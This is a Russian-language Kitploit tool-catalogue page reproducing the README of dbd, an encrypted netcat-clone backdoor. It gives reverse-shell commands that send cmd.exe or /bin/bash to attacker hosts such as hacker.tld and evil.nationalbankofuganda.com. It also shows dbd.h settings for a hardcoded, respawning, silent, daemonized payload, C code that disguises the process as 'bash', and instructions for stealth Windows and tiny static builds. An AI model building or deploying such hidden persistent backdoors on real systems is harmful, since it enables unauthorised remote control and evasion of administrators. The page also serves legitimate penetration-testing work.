Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
dbd — Durandal's Backdoor | Kitploit
Инструменты/GitHubGitHub/gitdurandal/dbd
Encryption/Decryption ToolsExploitationPost-ExploitationNetwork SecurityPenetration TestingCommand and ControlRed TeamingRemote Access ToolPayload Development
GitHubgitdurandal/dbd

dbd

Durandal's Backdoor

152383 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
РепозиторийСайт

d8888b. d8888b. d8888b. 88 8D 88 8D 88 `8D 88 88 88oooY' 88 88 88 88 88~~~b. 88 88 88 .8D 88 8D 88 .8D Y8888D' Y8888P' Y8888D'

#Задняя дверь Дурандаля #Copyright (C) 2013 Кайл Барнхаус [email protected] #dbd распространяется под лицензией GNU GPL #Mipsbe бинарник добавлен Darkerego [https://github.com/darkerego] [(mailto:[email protected])]

###КРАТКОЕ ОПИСАНИЕ

dbd — это клон Netcat, предназначенный для обеспечения портативности и надёжного шифрования. Он работает в Unix-подобных операционных системах и в Microsoft Win32. dbd включает шифрование AES-CBC-128 + HMAC-SHA1 (разработка Кристофа Девина), возможность выполнения программ (опция -e), выбор исходного порта, непрерывное переподключение с задержкой и некоторые другие полезные функции. dbd поддерживает только TCP/IP-связь. Исходный код и бинарные файлы распространяются под лицензией GNU General Public License.

###КОМПИЛЯЦИЯ

root@kitploit:~
$ make
использование:
  make unix     - Linux, NetBSD, FreeBSD, OpenBSD
  make unix32  - Linux, NetBSD, FreeBSD, OpenBSD 32-bit
  make sunos    - SunOS (Solaris)
  make win32    - нативное консольное приложение win32 (с Cygwin + MinGW)
  make win32bg  - создание нативного приложения win32 без консоли (с Cygwin + MinGW)
  make win32bg CFLAGS=-DSTEALTH - скрытое приложение без консоли
  make mingw    - нативное консольное приложение win32 (с MinGW MSYS)
  make mingwbg  - нативное приложение win32 без консоли (с MinGW MSYS)
  make mingwbg CFLAGS=-DSTEALTH - скрытое приложение без консоли (с MinGW MSYS)
  make cygwin   - консольное приложение Cygwin
  make darwin   - Darwin

опции кросс-компиляции:
  make mingw-cross    - кросс-компиляция win32 (i586-mingw32msvc-gcc)
  make mingwbg-cross  - кросс-компиляция win32 без консоли (i586-mingw32msvc-gcc)
  make mingwbg-cross CFLAGS=-DSTEALTH - скрытая кросс-компиляция win32
  make unix CROSS_COMPILE=<path/to/toolchain-> - кросс-компиляция для любой архитектуры

упаковка в tarball (предварительно переместите скомпилированные файлы в binaries/):
  make dist     - создание tarball с исходными файлами, readme и binaries/

Для компиляции dbd в Unix-подобной операционной системе необходимы gcc и соответствующие инструменты разработки. Для Linux, FreeBSD, NetBSD, OpenBSD (и, возможно, других) введите:

root@kitploit:~
$ make unix

Для SunOS/Solaris введите:

root@kitploit:~
$ make sunos

Для компиляции dbd в Microsoft Windows (NT/2K/XP/2K3) необходимы MinGW+MSYS или Cygwin с полной поддержкой разработки (Cygwin's MinGW gcc). Чтобы скомпилировать нативное консольное приложение Win32 dbd в Cygwin, введите:

root@kitploit:~
$ make win32

или в MSYS:

root@kitploit:~
$ make mingw

Для компиляции приложения без консоли ("WinMain") в Cygwin введите:

root@kitploit:~
$ make win32bg

или в MSYS:

root@kitploit:~
$ make mingwbg

Для компиляции консольного приложения, специфичного для Cygwin, введите:

root@kitploit:~
$make cygwin

Возможно, вы захотите изменить поведение dbd по умолчанию. Одна из самых важных вещей — изменить общий секретный ключ по умолчанию на свою собственную парольную фразу. Отредактируйте dbd.h и замените на свои настройки. Вы также можете, например, жёстко задать хост + порт для подключения, если dbd запускается без параметров. Полные примеры приведены в dbd.h.

###ПРИМЕРЫ ИСПОЛЬЗОВАНИЯ

Немного воображения — и dbd можно использовать для множества задач:

Используйте dbd для безопасной передачи файлов между двумя сетями:

root@kitploit:~
snafu$ dbd -l -p 12345 -k secret > output.file

fubar$ cat input.file | dbd -k secret snafu 12345

или из win32:

root@kitploit:~
C:\somedir>type input.fil | dbd -k secret snafu 12345

Используйте dbd как простой (но защищённый) чат:

root@kitploit:~
snafu$ dbd -P snafu -Hon fubar 1234

fubar$ dbd -Pfubar -Hon -l -p 1234

Используйте dbd как бэкдор для пентеста:

root@kitploit:~
C:\hacked box>dbdbg.exe -r1800 -q -e cmd.exe hacker.tld 443

или в Unix-подобных ОС:

root@kitploit:~
root@owned# ./dbd -r1800 -Don -e /bin/bash hacker.tld 993

###ЖЁСТКО ЗАДАННЫЕ ОПЦИИ

В дополнение к параметрам командной строки, вы можете жёстко задать переменные с помощью #define в dbd.h. Для этого установите нужные переменные как именованные константы и скомпилируйте обычным образом. Например, если вы хотите создать исполняемый файл dbd, который подключается обратно к "evil.nationalbankofuganda.com" на порт 995 и выполняет "/bin/bash", вы можете запустить:

root@kitploit:~
root@owned# ./dbd -e /bin/bash evil.nationalbankofuganda.com 995

или, используя жёстко заданные #define, отредактируйте dbd.h:

root@kitploit:~
#define DOLISTEN 0
#define HOST "evil.nationalbankofuganda.com"
#define PORT 995
#define EXECPROG "/bin/bash"
root@kitploit:~
Вы также можете настроить параметры перезапуска и скрытности, чтобы поддерживать соединение:
root@kitploit:~
#define RESPAWN_ENABLED 1
#define RESPAWN_INTERVAL 900
#define QUIET 1
#define DAEMONIZE 1

Это настроит соединение на демонизацию ("растворение" в терминах вредоносного ПО), никогда не выводить данные в STDOUT и пытаться переподключаться каждые 15 минут в случае разрыва соединения с прослушивателем.

###РОМУЛАНСКАЯ ТЕХНОЛОГИЯ МАСКИРОВКИ

Теперь перейдём к самому интересному. Когда вы станете мастером жёсткого задания опций в вашем бэкдоре, вы сможете использовать, пожалуй, самую забавную именованную константу в нашем распоряжении: CLOAK. Для этого просто задайте значение:

root@kitploit:~
#define CLOAK 1

ПРИМЕЧАНИЕ: на данный момент это работает только для сборок *nix. В планах — добавить миграцию/хуки процессов для Win32, чтобы и эти цели почувствовали ромуланскую любовь.

Для *nix-окружений эта опция очищает argv[0] и заменяет его строкой "bash\0". Она также очищает все остальные argv[] (было бы глупо, если бы ps возвращал "bash -e /bin/bash someremotehost.com 443", не так ли?) Надеюсь, само собой разумеется, что ВЫ НЕ МОЖЕТЕ ИСПОЛЬЗОВАТЬ ЭТУ ОПЦИЮ, ЕСЛИ НЕ ЗАДАЁТЕ ПЕРЕМЕННЫЕ ЖЁСТКО В DBD.H. Кроме того, если вы тестируете это на своей системе, будет забавно выбрать правильный PID для убийства. ;)

Не стесняйтесь использовать этот очиститель в чём угодно:

root@kitploit:~
//берём именованную константу
int cloak = CLOAK;

//Включаем маскировку
if(cloak)
{
	#ifdef WIN32
	//заглушка              
	#else
	//меняем argv[0] на bash       
	int scrub;
	strncpy((char *)argv[0], "\0", strlen((char *)argv[0]) + 1);
	strcpy((char *)argv[0], "bash\0");    
	for (scrub = 1; scrub < argc; scrub++)
	{                     
		 strncpy((char *)argv[scrub], "\0", strlen((char *)argv[scrub]) + 1);
	}                 
	#endif
}

###ПРЕДУПРЕЖДЕНИЕ

Не передавайте кэшированный ввод (файл с командами или что-то подобное) в прослушивающую сессию "dbd -e". "dbd -e" использует каналы для передачи данных между выполняемой программой и dbd. Каналы используются (вместо простого сквозного дублирования дескрипторов файлов) из-за шифрования между каналами и сокетом. Чтобы предотвратить блокировку всего процесса пишущим концом одного из каналов, я сделал его неблокирующим дескриптором. Существует вероятность, что при передаче слишком большого объёма данных за раз в программу -e, они будут усечены (оборваны), так как буфер канала (в ОС) не сможет вместить все данные. Эту проблему можно решить, например, сделав dbd многопоточным, но я буду избегать этого как можно дольше по соображениям совместимости.

##КРОСС-КОМПИЛЯЦИЯ

Поскольку dbd был спроектирован для взаимодействия с другими инструментами/фреймворками, теперь make позволяет кросс-компилировать win32 в системах Linux с установленным набором инструментов mingw32-gcc. Эти опции почти идентичны своим аналогам для Windows с добавлением "-cross" после выбранной сборки. Пример:

root@kitploit:~
$ make mingw-cross

сделает то же самое в системе Linux, что и

root@kitploit:~
$ make mingw

сделал бы в системе win32 с установленными mingw/msys.

На данный момент все опции кросс-компиляции созданы с учётом Kali Linux, но должны работать на любом *nix с небольшой доработкой. Если у вас установлен mingw32-gcc, а make не собирается, отредактируйте переменную WCC в начале Makefile и укажите путь к вашему бинарнику mingw32-gcc.

Начиная с dbd-1.5, вы можете использовать любой инструментарий кросс-сборки для компиляции dbd, установив префикс инструментария как CROSS_COMPILE. Например, сборка arm-версии выполняется так:

root@kitploit:~
$ make unix CROSS_COMPILE=arm-linux-gnueabi-

##ПРОДВИНУТОЕ ВОЛШЕБСТВО

Если вы хотите интегрировать dbd с фреймворком эксплуатации, вы можете написать модуль, который генерирует пользовательский dbd.h с параметрами конфигурации, специфичными для вашей цели. Всё, что явно не #define в этом файле, всё равно будет использовать значения по умолчанию, так что вам не нужно писать всё в заголовке. Пример: удалите файл rm dbd.h и замените его на:

root@kitploit:~
#define DOLISTEN 0
#define HOST "evil.nationalbankofuganda.com"
#define PORT 995
#define EXECPROG "/bin/bash"
#define RESPAWN_ENABLED 1
#define RESPAWN_INTERVAL 900
#define QUIET 1
#define CLOAK 1
#define SHARED_SECRET "customcrypto"

затем выполните make <целевые опции>, чтобы собрать автоматически подключающуюся полезную нагрузку с маскировкой и перезапуском, которая подключается обратно к прослушивающему агенту dbd на evil.nationalbankofuganda.com, работающему с опциями:

root@kitploit:~
$ dbd -l -p 995 -k customcrypto

Ещё один продвинутый трюк — скомпилировать dbd с использованием dietlibc или uClibc. Чтобы скомпилировать агент dbd для Linux с dietlibc, используйте:

root@kitploit:~
$ make unix CROSS_COMPILE="diet -Os "

Обратите внимание на пробел после s в строке. Это позволяет Makefile добавить gcc со стандартными CFLAGS и LDFLAGS, чтобы ваш агент собрался правильно. Преимущество использования dietlibc в том, что он создаёт очень маленький 100% статический исполняемый файл для целевой среды (около 70K для агента dbd под Linux до упаковки, по сравнению со стандартными 700K+ с glibc и gcc -static). Использование uClibc ещё проще, так как вы просто устанавливаете префикс кросс-сборки для вашего инструментария в CROSS_COMPILE.

##ЛИЦЕНЗИЯ
dbd Copyright (C) 2013 Кайл Барнхаус [email protected]

Эта программа является свободным программным обеспечением; вы можете распространять её и/или модифицировать в соответствии с условиями GNU General Public License, опубликованной Free Software Foundation; либо версии 2 Лицензии, либо (по вашему выбору) любой более поздней версии.

Эта программа распространяется в надежде, что она будет полезной, но БЕЗ КАКИХ-ЛИБО ГАРАНТИЙ; даже без подразумеваемых гарантий КОММЕРЧЕСКОЙ ЦЕННОСТИ или ПРИГОДНОСТИ ДЛЯ КОНКРЕТНОЙ ЦЕЛИ. Подробнее см. в GNU General Public License.

Вы должны были получить копию GNU General Public License вместе с этой программой; если нет, напишите в Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA

Дополнительную информацию см. в файле COPYING.

Реализация AES-CBC-128 + HMAC-SHA1 в dbd защищена авторским правом (C) Кристофа Девина [email protected] и распространяется под лицензией GNU General Public License (GPL).

Некоторый код (для doexec_win32.h) был получен из doexec.c из Win32-порта Netcat (C) Weld Pond и hobbit. Части doexec.c защищены авторским правом (C) 1994 Nathaniel W. Mishkin (код doexec.c изначально был получен из rlogind.exe).

Оригинальная версия Netcat была написана hobbit [email protected]. Версия для NT была сделана Weld Pond [email protected].


(C) Кайл Барнхаус [email protected] Консультант по безопасности
gitbrew.org
Hephaestus Security

Скачать инструмент